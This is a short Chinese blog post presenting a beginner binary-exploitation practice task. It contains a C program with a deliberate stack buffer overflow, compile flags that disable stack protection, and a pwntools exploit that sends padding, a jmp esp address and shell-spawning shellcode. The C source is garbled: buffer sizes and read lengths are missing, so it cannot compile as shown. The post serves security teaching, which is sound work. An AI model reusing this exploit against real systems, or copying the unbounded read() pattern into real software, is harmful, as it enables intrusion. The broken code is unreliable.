给学弟们练手的题目,做的过程中接触一些基本概念

#include <stdio.h>
#include <unistd.h>
int main()
{ char name[]; welcome(); printf("enter your name\n");
read(STDIN_FILENO, name, );
name[] = '\x00'; get_contents();
} void welcome()
{
printf("welcome to play the game!\n");
} void get_contents()
{
char contents[];
puts("enter the contents you want to save:");
read(STDIN_FILENO, contents, );
}

编译参数

 -fno-stack-protector -z execstack -m32

题目是最简单的情况,不多加分析,下面直接给出exp

from pwn import *
context(os='linux', arch='x86')
#context.log_level='debug' # 0x80485e3 : jmp esp
# offset: 66
jmp_esp = 0x80485e3 p = process('./a.out')
#gdb.attach(p) p.sendlineafter('name\n', 'a')
p.sendlineafter('save:\n', 'a'*62 + p32(jmp_esp) + asm(shellcraft.sh())) p.interactive()

最新文章

  1. ArcGIS Engine开发之地图基本操作(4)
  2. linux shell -常用脚本
  3. Leetcode study time
  4. scala模式匹配
  5. TaskTracker启动过程源码级分析
  6. Linux下常用压缩格式的压缩与解压方法
  7. SQL语句 远程操作数据库
  8. redis基本用法
  9. Android仿微信图片上传,可以选择多张图片,缩放预览,拍照上传等
  10. CentOS6.x升级MySQL版本5.1到5.6
  11. 图片转换PDF
  12. 【Egret】Lakeshore 使用中的一些疑难解决技巧!
  13. Global对象
  14. Maven中解决依赖冲突的问题
  15. swust oj 1016
  16. thinkPHP3.2使用__ROOT__显示为空,为什么
  17. 若依项目分模块集成uflo2
  18. 通过cassandra-cli客户端了解cassandra的内部数据结构
  19. bzoj 4349 最小树形图——朱刘算法
  20. swift - 使用系统app导航

热门文章

  1. flask+阿里云短信服务实现注册发送手机验证码
  2. IDEA统一注释格式(干货)
  3. golang的生产者消费者模型示例
  4. MySQL日期和时间类型笔记
  5. github项目上传管理
  6. 使用Jmeter并发websocket协议项目
  7. Reportviewer拖到winform不显示控件
  8. Stack Overflow 上 250W 浏览量的一个问题:你对象丢了
  9. Vue使用vue-recoure + http-proxy-middleware + vuex配合promise实现基本的跨域请求封装
  10. PowUp渗透脚本基本模块